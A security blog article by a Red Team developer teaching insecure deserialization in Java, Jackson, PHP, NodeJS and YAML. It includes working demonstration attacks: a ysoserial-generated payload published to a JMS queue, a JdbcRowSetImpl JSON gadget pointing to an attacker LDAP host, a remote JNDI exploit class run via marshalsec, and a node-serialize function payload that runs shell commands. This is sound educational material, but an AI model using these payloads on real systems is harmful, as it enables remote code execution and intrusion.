Insecure deserialization
I wrote the following article about insecure deserialization for my employer Sqills. I’m a software developer and member of the internal Red Team. As Red Team member I test the security of our applications and try to hack our way in. Another goal of our team is to share knowledge about security with our colleagues.
What is (de)serialization?
We see serialization and deserialization a lot when we implement applications and services. Serialization is a way of converting data objects into a format which can be used to transfer the object. Some common known examples are YAML, XML and JSON but there are more ways to serialize data. When we serialize we transform our objects into a transferable format and during deserialization we transform the special format back into objects we can use in our software.
When is deserialization insecure?
Deserialization can be insecure if the input is out of our control and we don’t validate the data. For example the input of a user will be deserialized in our application into a object which we are using in our software. We assume the user provides a correct serialized version of the object, but we don’t know for sure. Besides that there are a lot of libraries which can be used for (de)serialization and some of them have ‘features’ we’re not always aware of.
Insecure deserialization in Java
The basics of serialization in Java
In Java objects can be serialized and deserialized when the class implements the java.io.Serializable interface. Let’s check this out by an example.
The following Message class is meant to be sent to another service. I use Java’s internal way to serialize and deserialize the instance of the class and write the serialized object to a file called my_message.ser.
The Message class:
import java.io.Serializable;
public class Message implements Serializable {
private String author;
private String message;
// ...getters and setters for author and message
}
Let’s create an instance and write it as file:
Message myMessage = new Message();
myMessage.setAuthor("John Doe");
myMessage.setMessage("Hi Jane, how are you doing?");
FileOutputStream fileOut = new FileOutputStream("my_message.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(myMessage);
out.close();
fileOut.close();
The instance myMessage is serialized using Java’s ObjectOutputStream and the result is written to a file using the FileOutputStream class in Java. Of course, this can also send to a network connection, etc. There are a lot of implementations of this OutputStream.
If we want to deserialize this message we can read the file again and restore the Message object.
FileInputStream fileIn = new FileInputStream("my_message.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Message newMessage = (Message) in.readObject();
in.close();
fileIn.close();
System.out.println(newMessage.getAuthor());
System.out.println(newMessage.getMessage());
If we check the hexadecimal content of my_message.ser we’ll see the following:
00000000: aced 0005 7372 0007 4d65 7373 6167 65e5 ....sr..Message.
00000010: d25a b155 fde8 ce03 0002 4c00 0661 7574 .Z.U......L..aut
00000020: 686f 7274 0012 4c6a 6176 612f 6c61 6e67 hort..Ljava/lang
00000030: 2f53 7472 696e 673b 4c00 076d 6573 7361 /String;L..messa
00000040: 6765 7100 7e00 0178 7074 0008 4a6f 686e geq.~..xpt..John
00000050: 2044 6f65 7400 1b48 6920 4a61 6e65 2c20 Doet..Hi Jane,
00000060: 686f 7720 6172 6520 796f 7520 646f 696e how are you doin
00000070: 673f 78 g?x
If we change the content of my_message.ser in a hex editor we can manipulate the object. For example, we can change ‘John’ to ‘Jack’. If we read the file and restore our Message object again, you will see that the author is not John Doe anymore but Jack Doe.
Using serialization in Java
In the example above we write the serialized data to a my_message.ser file. Another usage of serialized data can be found in message brokers using the JMS protocol.
Let’s checkout an example by publishing our Message to a Artemis queue using the JMS protocol. The following Java code will quickly publish the message to the queue:
Message myMessage = new Message();
myMessage.setAuthor("John Doe");
myMessage.setMessage("Hi Jane, how are you doing?");
ConnectionFactory factory = new JmsConnectionFactory();
Connection connection = factory.createConnection("artemis", "artemis");
connection.start();
Destination queue = new JmsQueue("messages");
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
MessageProducer producer = session.createProducer(queue);
ObjectMessage jmsMessage = session.createObjectMessage(myMessage);
producer.send(jmsMessage);
connection.close();
When we sniff the traffic to the Artemis instance using Wireshark we’ll see the following packet data is sent:
0000 02 00 00 00 45 00 01 72 00 00 40 00 40 06 00 00 ....E..r..@.@...
0010 7f 00 00 01 7f 00 00 01 d9 51 16 28 d0 db 69 b5 .........Q.(..i.
0020 40 8e 14 da 80 18 a7 27 ff 66 00 00 01 01 08 0a @......'.f......
0030 1a 5a 98 1b 1a 5a 97 de 00 00 01 3e 02 00 00 01 .Z...Z.....>....
0040 00 53 14 c0 08 05 43 43 a0 01 00 43 42 00 53 70 .S....CC...CB.Sp
0050 c0 02 01 41 00 53 72 c1 29 04 a3 0e 78 2d 6f 70 ...A.Sr.)...x-op
0060 74 2d 6a 6d 73 2d 64 65 73 74 51 00 a3 12 78 2d t-jms-destQ...x-
0070 6f 70 74 2d 6a 6d 73 2d 6d 73 67 2d 74 79 70 65 opt-jms-msg-type
0080 51 01 00 53 73 d0 00 00 00 74 00 00 00 0a a1 2f Q..Ss....t...../
0090 49 44 3a 31 31 33 62 39 62 66 65 2d 37 66 34 62 ID:113b9bfe-7f4b
00a0 2d 34 38 37 37 2d 62 63 65 32 2d 61 64 62 63 32 -4877-bce2-adbc2
00b0 33 66 63 62 32 31 32 3a 31 3a 31 3a 31 2d 31 40 3fcb212:1:1:1-1@
00c0 a1 08 6d 65 73 73 61 67 65 73 40 40 40 a3 24 61 ..messages@@@.$a
00d0 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 pplication/x-jav
00e0 61 2d 73 65 72 69 61 6c 69 7a 65 64 2d 6f 62 6a a-serialized-obj
00f0 65 63 74 40 40 83 00 00 01 78 21 61 b9 a9 00 53 ect@@....x!a...S
0100 75 a0 73 ac ed 00 05 73 72 00 07 4d 65 73 73 61 u.s....sr..Messa
0110 67 65 e5 d2 5a b1 55 fd e8 ce 03 00 02 4c 00 06 ge..Z.U......L..
0120 61 75 74 68 6f 72 74 00 12 4c 6a 61 76 61 2f 6c authort..Ljava/l
0130 61 6e 67 2f 53 74 72 69 6e 67 3b 4c 00 07 6d 65 ang/String;L..me
0140 73 73 61 67 65 71 00 7e 00 01 78 70 74 00 08 4a ssageq.~..xpt..J
0150 6f 68 6e 20 44 6f 65 74 00 1b 48 69 20 4a 61 6e ohn Doet..Hi Jan
0160 65 2c 20 68 6f 77 20 61 72 65 20 79 6f 75 20 64 e, how are you d
0170 6f 69 6e 67 3f 78 oing?x
Well, the following part looks familiar:
0100 75 a0 73 ac ed 00 05 73 72 00 07 4d 65 73 73 61 u.s....sr..Messa
0110 67 65 e5 d2 5a b1 55 fd e8 ce 03 00 02 4c 00 06 ge..Z.U......L..
0120 61 75 74 68 6f 72 74 00 12 4c 6a 61 76 61 2f 6c authort..Ljava/l
0130 61 6e 67 2f 53 74 72 69 6e 67 3b 4c 00 07 6d 65 ang/String;L..me
0140 73 73 61 67 65 71 00 7e 00 01 78 70 74 00 08 4a ssageq.~..xpt..J
0150 6f 68 6e 20 44 6f 65 74 00 1b 48 69 20 4a 61 6e ohn Doet..Hi Jan
0160 65 2c 20 68 6f 77 20 61 72 65 20 79 6f 75 20 64 e, how are you d
0170 6f 69 6e 67 3f 78 oing?x
We can see that the actual content of the serialized object starts with the hexadecimal characters AC ED 00 05.
In Java you will find serialization in a lot of implementations and features.
Insecure deserialization in Java
In Java you can implement a readObject or writeObject method in the class to execute some extra code during deserialization and serialization. An example:
public class Message implements Serializable {
// ...author and message property
// ...getters and setters
private final void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("Read Object Message!");
}
private final void writeObject(ObjectOutputStream out) throws IOException, ClassNotFoundException {
out.defaultWriteObject();
System.out.println("Write Object Message!");
}
}
If a Message object is serialized, the writeObject method will be called. The readObject method will be called when the object is deserialized.
Let’s create a new Answer class:
public class Answer implements Serializable {
private String author;
private String message;
// ...getters and setters
private final void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("Read Object Answer!");
}
private final void writeObject(ObjectOutputStream out) throws IOException, ClassNotFoundException {
out.defaultWriteObject();
System.out.println("Write Object Answer!");
}
}
// We create a Message instance
Message myMessage = new Message();
myMessage.setAuthor("John Doe");
myMessage.setMessage("Hi Jane, how are you doing?");
// We create a Answer instance
Answer myAnswer = new Answer();
myAnswer.setAuthor("Jane Doe");
myAnswer.setMessage("Hi John, I'm great!");
// We serialize the Message instance and write it to my_message.ser
FileOutputStream messageFileOut = new FileOutputStream("my_message.ser");
ObjectOutputStream messageOut = new ObjectOutputStream(messageFileOut);
messageOut.writeObject(myMessage);
messageOut.close();
messageFileOut.close();
// We serialize the Answer instance and write it to my_answer.ser
FileOutputStream answerFileOut = new FileOutputStream("my_answer.ser");
ObjectOutputStream answerOut = new ObjectOutputStream(answerFileOut);
answerOut.writeObject(myAnswer);
answerOut.close();
answerFileOut.close();
We end up with two files; my_message.ser and my_answer.ser.
What will happen if we expect a Message object during deserialization but we provide serialized Answer data?
FileInputStream fileIn = new FileInputStream("my_answer.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Message newMessage = (Message)in.readObject();
in.close();
fileIn.close();
System.out.println(newMessage.getAuthor());
System.out.println(newMessage.getMessage());
If we run the code we see the following output in the console:
Read Object Answer!
java.lang.ClassCastException: class Answer cannot be cast to class Message (Answer and Message are in unnamed module of loader 'app')
So what does this mean? We see that we got an exception about our cast, we tried to cast a Answer to a Message which threw an error. But.. we also see that the readObject method for the Answer class is executed, even if we didn’t do anything with Answer in our reading code.
This can be dangerous if we have classes implementing the Serializable interface and the readObject method but run some code which can lead to problems.
Gadgets
Classes which implement the Serializable interface and execute some code in the readObject method which can lead to problems are called “gadgets”. There are a few common known gadgets which are mostly part of some commonly used libraries, for example Apache’s Commons Collections library, Spring Core, Spring Boot and Hibernate. They caused vulnerabilities in some big applications, like Jenkins, JBoss and Websphere.
Exploit it!
A great tool to generate a payload is ysoserial. This tool is released as part of a talk at the AppSecCali conference in 2015 (https://frohoff.github.io/appseccali-marshalling-pickles/). I used ysoserial to generate a serialized instance of the java.util.PriorityQueue queue which uses the TransformingComparator and InvokerTransformer class of the commons-collection4 library. Eventually, after some invokes and reflection magic, the payload will execute the Linux command touch powned, which will create a new file called powned to the file system.
I saved the serialized object as my_message.ser file and if I deserialize it with my reading example, the powned file is created on the file system.
$ ls -la
...
-rw-r--r-- 1 jordy.versmissen staff 0 powned
...
But what if our application is using JMS and we want to run our malicious code on the server?
Let’s say our server consumes messages from a Artemis queue and prints them to the console.
ConnectionFactory factory = new JmsConnectionFactory();
Connection connection = factory.createConnection("artemis", "artemis");
connection.start();
Destination queue = new JmsQueue("messages");
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
MessageConsumer consumer = session.createConsumer(queue);
// Some loop here so we keep listening for other messages...
Message message = consumer.receive().getBody(Message.class);
System.out.println(message.getAuthor());
System.out.println(message.getMessage());
If we have access to the Artemis queue, we could create our own client application and publish our malicious payload to the messages queue.
ConnectionFactory factory = new JmsConnectionFactory();
Connection connection = factory.createConnection("artemis", "artemis");
connection.start();
Destination queue = new JmsQueue("messages");
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
MessageProducer producer = session.createProducer(queue);
// We borrow the great code from the ysoserial JAR to generate our malicious object
CommonsCollections2 payloadGenerator = new CommonsCollections2();
Serializable obj = (Serializable) payloadGenerator.getObject("touch powned");
// We can publish the object directly on the queue
ObjectMessage objectMessage = session.createObjectMessage();
objectMessage.setObject(obj);
producer.send(objectMessage);
Once the server will pick up our malicious object in the queue the file powned is created on the server. Our malicious code is executed on the server.
What about other ways of serialization?
JSON
Serialization is implemented in almost every programming language and there are a lot of ways and libraries available.
An example of serialization we see almost every day is JSON. With JSON it’s possible to create a structured and readable presentation of data objects. JSON is most of the time used in HTTP requests and responses but you can also find it in configuration files and internal communication between services. An example of our Message object in JSON will look like this:
{
"author": "John Doe",
"message": "Hi Jane, how are you doing?"
}
JSON in Java with Jackson Databind
A famous Java library used for JSON serialization is called Jackson. With the extension jackson-databind it’s possible to quickly translate your Java objects into JSON and JSON back into objects. Since 2017 there were found a lot of “gadgets” which could lead to problems using Jackson Databind with some particular setup.
Jackson can be insecure if you are using enableDefaultTyping or @JsonTypeInfo combined with global types like Serializable or Object.
Let’s extend our Message class with a collection of answers.
public class Message implements Serializable {
private String author;
private String message;
private Collection<Serializable> answers;
// ...getters and setters
}
You see that I used a Collection of Serializable objects here. Probably not the first idea if you have to implement it, but it might be possible that you don’t know the type of the items and you have to be a bit general.
We use Jackson with the enableDefaultTyping option to serialize this to JSON:
Message message = new Message();
message.setAuthor("John Doe");
message.setMessage("Hello Jane!");
Answer answer = new Answer();
answer.setAuthor("Jane Doe");
answer.setMessage("Hello John!");
Collection<Serializable> answers = new ArrayList();
answers.add(answer);
message.setAnswers(answers);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = mapper.writeValueAsString(message);
The JSON representation will be:
{
"author":"John Doe",
"message":"Hello Jane!",
"answers": [
"java.util.ArrayList",
[
["Answer", {"author":"Jane Doe","message":"Hello John!"}]
]
]
}
You probably noticed the problem here; the Java class ends up in the JSON because Jackson can’t guess it when we want to deserialize it.
Let’s use one of the famous gadgets and build our own JSON structure:
{
"author": "John Doe",
"message": "Hello Jane!",
"answers": [
"java.util.List",
[
[
"com.sun.rowset.JdbcRowSetImpl",
{
"dataSourceName": "ldap://attackers-host.com:1389/obj",
"autoCommit": true
}
]
]
]
}
In this case we use a famous gadget com.sun.rowset.JdbcRowSetImpl and use a URL to our malicious LDAP JNDI service running at ldap://attackers-host.com:1389/obj.
To let the server (my laptop in this case) run our custom malicious code we create a new class:
package exploit;
public class JNDIExploit {
public JNDIExploit() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
This class will start the Calculator app on my MacBook when a new object is constructed.
Now we compile this class and host it on our server. We make sure that the compiled .class file is available with http://<our host>/exploit/JNDIExploit.class.
We now can use the tool marshalsec to host a malicious LDAP JNDI server.
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
I used localhost:8000 which is a webserver on my local machine.
Once we send in the crafted JSON with ldap://localhost:1389/obj as dataSourceName Jackson will try to construct the JdbcRowSetImpl object which will call our JNDI server on construction. The JNDI server will redirect back to http://localhost:8000/exploit/JNDIExploit.class and the class hosted on our webserver will be constructed. In the constructor of our class we implemented the malicious code with Runtime.getRuntime().exec() which will be executed directly. So, the Calculator application pops up!
In this example I used a older version of Jackson. Most of these gadgets are fixed. Jackson implemented a blacklist of classes which are blocked and the use of enableDefaultTyping is deprecated. This blacklist of gadgets is growing during the last years, you can check GitHub for the full list and history. Make sure you always use the latest versions of libraries!
More serialization
In this article I gave a few examples for Java but serialization is also used in other programming languages.
PHP
In PHP you can use the serialize and unserialize methods which converts objects to a text notation. The type ends up in the textual notation of the object. Make sure you avoid the use of serialize and unserialize for objects which implement vulnerable code in magic methods like __destruct, __sleep, __wakeup, etc. These magic methods will automatically be called when you serialize or deserialize objects.
NodeJS
In NodeJS you have to be careful with the node-serialize package. With this package you can also serialize functions. An example of a serialized Javascript object is:
var serialize = require('node-serialize');
var message = {
"author": "John Doe"
}
serialize.serialize(message);
// Output:
// {"author":"John Doe"}
var message = {
"author": function() { require('child_process').exec('touch powned') },
}
// Output of serialize:
// {"author":"_$$ND_FUNC$$_function(){ require('child_process').exec('touch powned')}"}
So if you unserialize user input without any validation, a malicious user can inject functions which can be executed by your NodeJS server.
YAML
Another commonly used format is YAML. Like JSON there are a lot of libraries which can serialize and deserialize objects into YAML. Some of these libraries have some interesting features.
For example the Java library SnakeYAML. You can use a special notation to create custom Java objects during the YAML parsing.
message:
author: John Doe
message: Hello world
answers:
- !!Answer {author: "Jane Doe", message: "Hi John"}
This will create the list with actual Answer objects. Like with Java serialization and Jackson Databind, there is a list of known “gadgets” which execute code during construction and are part of a lot of other libraries and frameworks.
You can find more about this in the marshalsec GitHub project.
SnakeYAML is the Java implementation of the Python library PyYAML. So the same features also exist in PyYAML.